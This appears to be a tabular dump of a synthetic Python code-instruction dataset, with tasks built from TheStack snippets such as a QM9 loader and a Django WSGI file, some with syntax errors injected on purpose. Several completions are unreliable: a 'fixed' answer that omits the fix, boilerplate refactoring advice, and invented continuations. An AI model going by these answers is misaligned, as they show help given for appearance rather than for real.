prompt
large_stringlengths 34
628k
| completion
large_stringlengths 0
24.1k
| difficulty
large_stringclasses 3
values | topic
large_stringclasses 8
values | variant
large_stringclasses 11
values | language
large_stringclasses 1
value | num_functions
int64 0
100
| num_classes
int64 0
72
| code_length
int64 0
629k
| has_imports
bool 2
classes | messages
large_stringlengths 144
630k
| has_error
bool 2
classes | error_category
large_stringclasses 2
values | error_type
large_stringclasses 17
values | severity
large_stringclasses 5
values | original_id
large_stringlengths 40
40
| source_file
large_stringclasses 11
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Complete this Pythoncode:Python code: import os import os.path as osp import numpy as np from joblib import Parallel, delayed from tensorflow.keras.utils import get_file from tqdm import tqdm from spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf class QM9(Dataset): """ The QM9 chemical data set of small molecules. In this dataset, nodes represent atoms and edges represent chemical bonds. There are 5 possible atom types (H, C, N, O, F) and 4 bond types (single, double, triple, aromatic). Node features represent the chemical properties of each atom and include: - The atomic number, one-hot encoded; - The atom's position in the X, Y, and Z dimensions; - The atomic charge; - The mass difference from the monoisotope; The edge features represent the type of chemical bond between two atoms, one-hot encoded. Each graph has an 19-dimensional label for regression. **Arguments** - `amount`: int, load this many molecules instead of the full dataset (useful for debugging). - `n_jobs`: number of CPU cores to use for reading the data (-1, to use all available cores). """ url = "https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file( "qm9.tar.gz", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, "qm9.tar.gz"))
|
def read(self): print("Loading QM9 dataset.") sdf_file = osp.join(self.path, "gdb9.sdf") data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format def read_mol(mol): x = np.array([atom_to_feature(atom) for atom in mol["atoms"]]) a, e = mol_to_adj(mol) return x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data)) # Load labels labels_file = osp.join(self.path, "gdb9.sdf.csv") labels = load_csv(labels_file) labels = labels.set_index("mol_id").values if self.amount is not None: labels = labels[: self.amount] return [ Graph(x=x, a=a, e=e, y=y) for x, a, e, y in zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom["atomic_num"], ATOM_TYPES) coords = atom["coords"] charge = atom["charge"] iso = atom["iso"] return np.concatenate((atomic_num, coords, [charge, iso]), -1) ... [1 more functiondefs truncated] ...
|
advanced
|
api
|
code_completion
|
Pythoncode:Python
| 5
| 1
| 2,888
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nimport os\nimport os.path as osp\n\nimport numpy as np\nfrom joblib import Parallel, delayed\nfrom tensorflow.keras.utils import get_file\nfrom tqdm import tqdm\n\nfrom spektral.data import Dataset, Graph\nfrom spektral.utils import label_to_one_hot, sparse\nfrom spektral.utils.io import load_csv, load_sdf\n\nclass QM9(Dataset):\n \"\"\"\n The QM9 chemical data set of small molecules.\n\n In this dataset, nodes represent atoms and edges represent chemical bonds.\n There are 5 possible atom types (H, C, N, O, F) and 4 bond types (single,\n double, triple, aromatic).\n\n Node features represent the chemical properties of each atom and include:\n\n - The atomic number, one-hot encoded;\n - The atom's position in the X, Y, and Z dimensions;\n - The atomic charge;\n - The mass difference from the monoisotope;\n\n The edge features represent the type of chemical bond between two atoms,\n one-hot encoded.\n\n Each graph has an 19-dimensional label for regression.\n\n **Arguments**\n\n - `amount`: int, load this many molecules instead of the full dataset\n (useful for debugging).\n - `n_jobs`: number of CPU cores to use for reading the data (-1, to use all\n available cores).\n \"\"\"\n\n url = \"https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz\"\n\n def __init__(self, amount=None, n_jobs=1, **kwargs):\n self.amount = amount\n self.n_jobs = n_jobs\n super().__init__(**kwargs)\n\n def download(self):\n get_file(\n \"qm9.tar.gz\",\n self.url,\n extract=True,\n cache_dir=self.path,\n cache_subdir=self.path,\n )\n os.remove(osp.join(self.path, \"qm9.tar.gz\"))"}, {"role": "assistant", "content": "\n def read(self):\n print(\"Loading QM9 dataset.\")\n sdf_file = osp.join(self.path, \"gdb9.sdf\")\n data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format\n\n def read_mol(mol):\n x = np.array([atom_to_feature(atom) for atom in mol[\"atoms\"]])\n a, e = mol_to_adj(mol)\n return x, a, e\n\n data = Parallel(n_jobs=self.n_jobs)(\n delayed(read_mol)(mol) for mol in tqdm(data, ncols=80)\n )\n x_list, a_list, e_list = list(zip(*data))\n\n # Load labels\n labels_file = osp.join(self.path, \"gdb9.sdf.csv\")\n labels = load_csv(labels_file)\n labels = labels.set_index(\"mol_id\").values\n if self.amount is not None:\n labels = labels[: self.amount]\n\n return [\n Graph(x=x, a=a, e=e, y=y)\n for x, a, e, y in zip(x_list, a_list, e_list, labels)\n ]\n\n\ndef atom_to_feature(atom):\n atomic_num = label_to_one_hot(atom[\"atomic_num\"], ATOM_TYPES)\n coords = atom[\"coords\"]\n charge = atom[\"charge\"]\n iso = atom[\"iso\"]\n\n return np.concatenate((atomic_num, coords, [charge, iso]), -1)\n\n\n\n ... [1 more functiondefs truncated] ..."}]
| false
| null | null | null |
86524c143ea8ba1817f21135f1c0c27360fa74e8
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: from adafruit_circuitplayground.express import cpx # Main loop gets x, y and z axis acceleration, prints the values, and turns on # red, green and blue, at levels related to the x, y and z values. while True: if cpx.switch: print("S ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: cpx.pixels.fill((0, 0, 0)) continue else: R = 0 G = 0
|
intermediate
|
ui
|
incomplete_code
|
Pythoncode:Python
| 0
| 0
| 245
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\nfrom adafruit_circuitplayground.express import cpx\n\n# Main loop gets x, y and z axis acceleration, prints the values, and turns on\n# red, green and blue, at levels related to the x, y and z values.\nwhile True:\n if cpx.switch:\n print(\"S\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n cpx.pixels.fill((0, 0, 0))\n continue\n else:\n R = 0\n G = 0"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
865416b109055549efa6918ca6073abc6d07a490
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): """ Return a data matrix with 0.1s per time step data. (from 0.01s data) """ matrix = np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if i % 10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): """ This function serves to concatenate the information of two cars into one array. Note: car1 -- mainlane car; car2 -- merging car; OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge - mainlane) 13 car1_yaw 14 car2_yaw 15 situation label: (0: car1 yields car2; 1: car2 yields car1) """ data_matrix = np.zeros((1,16)) for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## ... [3 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
intermediate
|
database
|
refactoring
|
Pythoncode:Python
| 3
| 0
| 2,853
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nimport numpy as np \r\nimport matplotlib.pyplot as plt \r\nimport matplotlib as mpl \r\nimport matplotlib.patches as patches\r\n\r\ndef load_data(file_name, car_flag):\r\n\tif car_flag == 1:\r\n\t\tdata = np.loadtxt('./car1/'+str(file_name))\r\n\telif car_flag == 2:\r\n\t\tdata = np.loadtxt('./car2/'+str(file_name))\r\n\r\n\treturn data\r\n\r\ndef get_low_freq_data(data):\r\n\t\"\"\"\r\n\tReturn a data matrix with 0.1s per time step data. (from 0.01s data)\r\n\t\"\"\"\r\n\tmatrix = np.zeros((1, data.shape[1]))\r\n\tfor i in range(data.shape[0]):\r\n\t\tif i % 10 == 0:\r\n\t\t\tmatrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0)\r\n\r\n\treturn matrix[1:,:]\r\n\r\n\r\ndef data_process():\r\n\t\"\"\"\r\n\tThis function serves to concatenate the information of two cars into one array.\r\n\r\n\tNote: car1 -- mainlane car; \r\n\t\t car2 -- merging car;\r\n\r\n\tOutFormat:\r\n\t0 case_ID\r\n\t1 frame_ID\r\n\r\n\t2 car1_long_pos\r\n\t3 car1_long_vel\r\n\t4 car1_lateral_pos\r\n\t5 car1_lateral_displacement\r\n\t6 car2_long_pos\r\n\t7 car2_long_vel\r\n\t8 car2_lateral_pos\r\n\t9 car2_lateral_displacement\r\n\r\n\t10 relative_long_vel (merge - mainlane)\r\n\t11 relative_lateral_distance (merge - mainlane)\r\n\t12 relative_long_distance (merge - mainlane)\r\n\r\n\t13 car1_yaw\r\n\t14 car2_yaw\r\n\r\n\t15 situation label: (0: car1 yields car2; 1: car2 yields car1)\r\n\r\n\t\"\"\"\r\n\tdata_matrix = np.zeros((1,16))\r\n\tfor i in range(128):\r\n\t\tfile_name_1 = 'data_'+str(i)+'_1.txt'\r\n\t\tfile_name_2 = 'data_'+str(i)+'_2.txt'\r\n\t\tcar1 = get_low_freq_data(load_data(file_name_1, 1))\r\n\t\tcar2 = get_low_freq_data(load_data(file_name_2, 2))\r\n\r\n\t\tT = int(car1.shape[0])\r\n\t\t#print(T)\r\n\t\tcurrent_data_matrix = np.zeros((T,16))\r\n\t\tfor j in range(1, T):\r\n\t\t\tcurrent_data_matrix[j,0] = i\r\n\t\t\tcurrent_data_matrix[j,1] = j\r\n\t\t\tcurrent_data_matrix[j,2] = car1[j,1]\r\n\t\t\tcurrent_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1])\r\n\t\t\tcurrent_data_matrix[j,4] = car1[j,2]\r\n\t\t\tcurrent_data_matrix[j,5] = car1[j,2] - car1[j-1,2]\r\n\r\n\t\t\tcurrent_data_matrix[j,6] = car2[j,1]\r\n\t\t\tcurrent_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1])\r\n\t\t\tcurrent_data_matrix[j,8] = car2[j,2]\r\n\t\t\tcurrent_data_matrix[j,9] = car2[j,2] - car2[j-1,2]\r\n\r\n\t\t\tcurrent_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3]\r\n\t\t\tcurrent_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4]\r\n\t\t\tcurrent_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2]\r\n\r\n\t\t\tcurrent_data_matrix[j,13] = car1[j,3]\r\n\t\t\tcurrent_data_matrix[j,14] = car2[j,3]\r\n\r\n\r\n\t\t\tif car1[-1,1] > car2[-1,1]:\r\n\t\t\t\tcurrent_data_matrix[j,15] = 1\r\n\t\t\telse:\r\n\t\t\t\tcurrent_data_matrix[j,15] = 0\r\n\t\tcurrent_data_matrix = current_data_matrix[1:, :]\r\n\t\tdata_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0)\r\n\r\n\tnp.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f')\r\n\r\n\r\n\r\n\r\n##################################################################\r\n\r\n\r\n\r\n\n ... [3 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
86543345af40c82152fa05b0f713964bb091299c
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: import balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency import plotter as plot class EquityManager(): def __init__(self, user_notification_system: FinanceCliInteraction): self.uns = user_notification_system def add_equity(self): name = self.uns.request_string("Name: ") description = self.uns.request_string("Description: ") accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityClass = self.uns.request_enum(EquityClass) if equityClass == EquityClass.ASSET: equityType = self.uns.request_enum(AssetType) elif equityClass == EquityClass.LIABILITY: equityType = self.uns.request_enum(LiabiltyType) else: raise Exception(f"Unknown equity class: {equityClass.name}") interestRate = self.uns.request_float("Interest Rate: ") equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon) equityStatus = self.uns.request_enum(EquityStatus) equityContingency = self.uns.request_enum(EquityContingency) equity = dsvce.enter_if_not_exists(name=name, description=description, accountId=str(dsvca.account_by_name(accountName).id), equityClass=equityClass, equityType=equityType, equityTimeHorizon=equityTimeHorizon, equityStatus=equityStatus, equityContingency=equityContingency, interestRate=interestRate) if equity is not None: self.uns.notify_user("Equity entered successfully!") def delete_equity(self: accountName = self.uns.request_from_dict(dsvca.accounts_as_dict()) equityName = self.uns.request_from_dict(dsvce.equities_as_dict()) dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName) ... [5 more functiondefs truncated] ...
|
Syntax Analysis: Syntax Errors Found: • Code truncated in middle of expression - unexpected EOF • Unclosed '(' at line 42 - expected ')' • SyntaxError: '(' was never closed at line 42 Fixes: • Complete the expression on the last line • Add closing ')' bracket • Review code syntax
|
advanced
|
api
|
syntax_repair
|
Pythoncode:Python
| 3
| 1
| 2,375
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nimport balancesheet.mongoData.equities_data_service as dsvce\nfrom userInteraction.financeCliInteraction import FinanceCliInteraction\nimport ledgerkeeper.mongoData.account_data_service as dsvca\nfrom balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeHorizon, EquityStatus, EquityContingency\nimport plotter as plot\n\nclass EquityManager():\n def __init__(self, user_notification_system: FinanceCliInteraction):\n self.uns = user_notification_system\n\n\n def add_equity(self):\n name = self.uns.request_string(\"Name: \")\n description = self.uns.request_string(\"Description: \")\n accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())\n equityClass = self.uns.request_enum(EquityClass)\n if equityClass == EquityClass.ASSET:\n equityType = self.uns.request_enum(AssetType)\n elif equityClass == EquityClass.LIABILITY:\n equityType = self.uns.request_enum(LiabiltyType)\n else:\n raise Exception(f\"Unknown equity class: {equityClass.name}\")\n\n interestRate = self.uns.request_float(\"Interest Rate: \")\n equityTimeHorizon = self.uns.request_enum(EquityTimeHorizon)\n equityStatus = self.uns.request_enum(EquityStatus)\n equityContingency = self.uns.request_enum(EquityContingency)\n\n equity = dsvce.enter_if_not_exists(name=name,\n description=description,\n accountId=str(dsvca.account_by_name(accountName).id),\n equityClass=equityClass,\n equityType=equityType,\n equityTimeHorizon=equityTimeHorizon,\n equityStatus=equityStatus,\n equityContingency=equityContingency,\n interestRate=interestRate)\n \n if equity is not None:\n self.uns.notify_user(\"Equity entered successfully!\")\n\n def delete_equity(self:\n accountName = self.uns.request_from_dict(dsvca.accounts_as_dict())\n equityName = self.uns.request_from_dict(dsvce.equities_as_dict())\n\n dsvce.delete_equity(dsvca.account_by_name(accountName).id, equityName)\n\n\n ... [5 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 Unclosed '(' at line 42 - expected ')'\n \u2022 SyntaxError: '(' was never closed at line 42\n\n Fixes:\n \u2022 Complete the expression on the last line\n \u2022 Add closing ')' bracket\n \u2022 Review code syntax"}]
| true
|
syntax
|
MISSING_BRACKETS
|
MEDIUM
|
86545fd84ae7762d72208edf0f23289ff9f754a1
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: # # PySNMP MIB module CISCO-DOT11-QOS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-DOT11-QOS-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:55:50 2019 # On host DA ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ... [1 more classdefs truncated] ...
|
intermediate
|
api
|
incomplete_code
|
Pythoncode:Python
| 0
| 0
| 221
| false
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n#\n# PySNMP MIB module CISCO-DOT11-QOS-MIB (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-DOT11-QOS-MIB\n# Produced by pysmi-0.3.4 at Wed May 1 11:55:50 2019\n# On host DA\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\n\n ... [1 more classdefs truncated] ..."}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8654bfcdcac1a02c8bb6c10945f68a8c090f869f
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hello_world.settings") # django WSGI application from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # load SnapSearch API credentials api_email = "<email>" api_key = "<key>" # initialize the interceptor from SnapSearch import Client, Detector, Interceptor interceptor = Interceptor(Client(api_email, api_key), Detector()) # deploy the interceptor from SnapSearch.wsgi import InterceptorMiddleware application = InterceptorMiddleware(application, interceptor)
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
intermediate
|
api
|
refactoring
|
Pythoncode:Python
| 0
| 0
| 559
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nimport os\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"hello_world.settings\")\n\n# django WSGI application\nfrom django.core.wsgi import get_wsgi_application\napplication = get_wsgi_application()\n\n# load SnapSearch API credentials\napi_email = \"<email>\"\napi_key = \"<key>\"\n\n# initialize the interceptor\nfrom SnapSearch import Client, Detector, Interceptor\ninterceptor = Interceptor(Client(api_email, api_key), Detector())\n\n# deploy the interceptor\nfrom SnapSearch.wsgi import InterceptorMiddleware\napplication = InterceptorMiddleware(application, interceptor)"}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
865535238f10c51c669114bcf29b3699dd34b1e8
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: # vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import glob import os import shutil import tempfile import confluent.sshutil as sshutil import confluent.util as util import confluent.noderange as noderange import eventlet import pwd import grp def mkdirp(path: try: os.makedirs(path) except OSError as e: if e.errno != 17: raise def get_entries(filename): secname = 'REPLACE:' filename = filename.strip() if filename[-1] == '>': filename = filename[:-1] with open(filename, 'r') as slfile: slist = slfile.read() entries = slist.split('\n') for ent in entries: ent = ent.split('#', 1)[0].strip() if not ent: continue if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'): secname = ent if ent[0] == '<': subfilename = ent[1:] if subfilename[-1] == '>': subfilename = subfilename[:-1] if subfilename[0] != '/': subfilename = os.path.join(os.path.dirname(filename), subfilename) for subent in get_entries(subfilename): yield subent yield secname else: yield ent class SyncList(object): ... [6 more functiondefs truncated] ... Error: SyntaxError: unmatched brackets
|
Fixed Code: # vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import glob import os import shutil import tempfile Explanation: Add missing ')' bracket at line 28
|
advanced
|
api
|
error_fixing
|
Pythoncode:Python
| 2
| 1
| 1,855
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2021 Lenovo\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport glob\nimport os\nimport shutil\nimport tempfile\nimport confluent.sshutil as sshutil\nimport confluent.util as util\nimport confluent.noderange as noderange\nimport eventlet\nimport pwd\nimport grp\n\ndef mkdirp(path:\n try:\n os.makedirs(path)\n except OSError as e:\n if e.errno != 17:\n raise\n\ndef get_entries(filename):\n secname = 'REPLACE:'\n filename = filename.strip()\n if filename[-1] == '>':\n filename = filename[:-1]\n with open(filename, 'r') as slfile:\n slist = slfile.read()\n entries = slist.split('\\n')\n for ent in entries:\n ent = ent.split('#', 1)[0].strip()\n if not ent:\n continue\n if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'):\n secname = ent\n if ent[0] == '<':\n subfilename = ent[1:]\n if subfilename[-1] == '>':\n subfilename = subfilename[:-1]\n if subfilename[0] != '/':\n subfilename = os.path.join(os.path.dirname(filename), subfilename)\n for subent in get_entries(subfilename):\n yield subent\n yield secname\n else:\n yield ent\n\nclass SyncList(object):\n\n ... [6 more functiondefs truncated] ...\n\n Error: SyntaxError: unmatched brackets"}, {"role": "assistant", "content": " Fixed Code:\n\n\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2021 Lenovo\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport glob\nimport os\nimport shutil\nimport tempfile\n\n Explanation: Add missing ')' bracket at line 28"}]
| true
|
syntax
|
MISSING_BRACKETS
|
MEDIUM
|
8655870bbe029c575ef810e01964410eb82d6a13
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: import numpy as np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288 g = 9.80665 S = 1 t1 = 1.5 t2 = 8.5 name = 'missile' def __init__(self, initial_state): ... code continues ...
|
Completion: Missing: Function '__init__' is incomplete - body truncated To complete: • Complete the function '__init__' body and add missing return Example continuation: super().__init__(initial_state) def external(self, states, controls): return 0 # return {"wind" : [(0, 0), (0, 0)]} # no external effects
|
advanced
|
ui
|
incomplete_code
|
Pythoncode:Python
| 3
| 1
| 211
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\nimport numpy as np\n\nfrom fym.core import BaseSystem\n\n\nclass MissilePlanar(BaseSystem):\n R = 288\n g = 9.80665\n S = 1\n t1 = 1.5\n t2 = 8.5\n name = 'missile'\n\n def __init__(self, initial_state):\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Function '__init__' is incomplete - body truncated\n\n To complete:\n \u2022 Complete the function '__init__' body and add missing return\n\n Example continuation:\n super().__init__(initial_state)\n\n def external(self, states, controls):\n return 0\n # return {\"wind\" : [(0, 0), (0, 0)]} # no external effects"}]
| true
|
syntax
|
MID_FUNCTION
|
HIGH
|
86559f8329a6ab4177af7e36ab701bd44241c349
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Iterable, Optional, Tuple import torch from torch.utils.data import DataLoader class ScaledDataset: def __init__(self, examples, scaling_factor=1): self.examples = examples self.scaling_factor = scaling_factor def __len__(self): return len(self.examples) * self.scaling_factor def __getitem__(self, k): k = k % len(self.examples) return self.examples[k] def get_dataloaders(opts) -> Tuple[Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ], Iterable[ Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]] ]]: "Returning an iterator for tuple(sender_input, labels, receiver_input)." full_data = enumerate_dataset(opts.input_size) len_train = int(opts.training_density * len(full_data)) train_set, holdout_set = torch.utils.data.random_split(full_data, [len_train, len(full_data) - len_train] ) validation_set = train_set train_set = ScaledDataset(train_set, opts.data_scaler) train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Code truncated in middle of expression - unexpected EOF • Unexpected end of file at line 39 • Code appears to be truncated - missing closing statement Fix: Complete the truncated code structure
|
advanced
|
machine_learning
|
error_detection
|
Pythoncode:Python
| 5
| 1
| 1,424
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\n# Copyright (c) Facebook, Inc. and its affiliates.\n\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nfrom typing import Iterable, Optional, Tuple\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nclass ScaledDataset:\n def __init__(self, examples, scaling_factor=1):\n self.examples = examples\n self.scaling_factor = scaling_factor\n\n def __len__(self):\n return len(self.examples) * self.scaling_factor\n\n def __getitem__(self, k):\n k = k % len(self.examples)\n return self.examples[k]\n\n\ndef get_dataloaders(opts) -> Tuple[Iterable[\n Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]]\n], Iterable[\n Tuple[torch.Tensor, torch.Tensor, Optional[torch.Tensor]]\n]]:\n \"Returning an iterator for tuple(sender_input, labels, receiver_input).\"\n full_data = enumerate_dataset(opts.input_size)\n len_train = int(opts.training_density * len(full_data))\n train_set, holdout_set = torch.utils.data.random_split(full_data,\n [len_train, len(full_data) - len_train]\n )\n validation_set = train_set\n\n train_set = ScaledDataset(train_set, opts.data_scaler)\n\n train_loader, validation_loader, holdout_loader = DataLoader(train_set, batch_size=opts.batch_size, shuffle=True), \\"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 Unexpected end of file at line 39\n \u2022 Code appears to be truncated - missing closing statement\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8655ba3bbd3cf852e91a43d33c2f2f32d558bc09
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: """ Next lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm """ def next_lexo(S): b = S[-1] for i, a in enumerate(reversed(S[:-1]), 2): if a < b: # we have the pivot a for j, b in enumerate(reversed(S), 1): if b > a: ... code continues ...
|
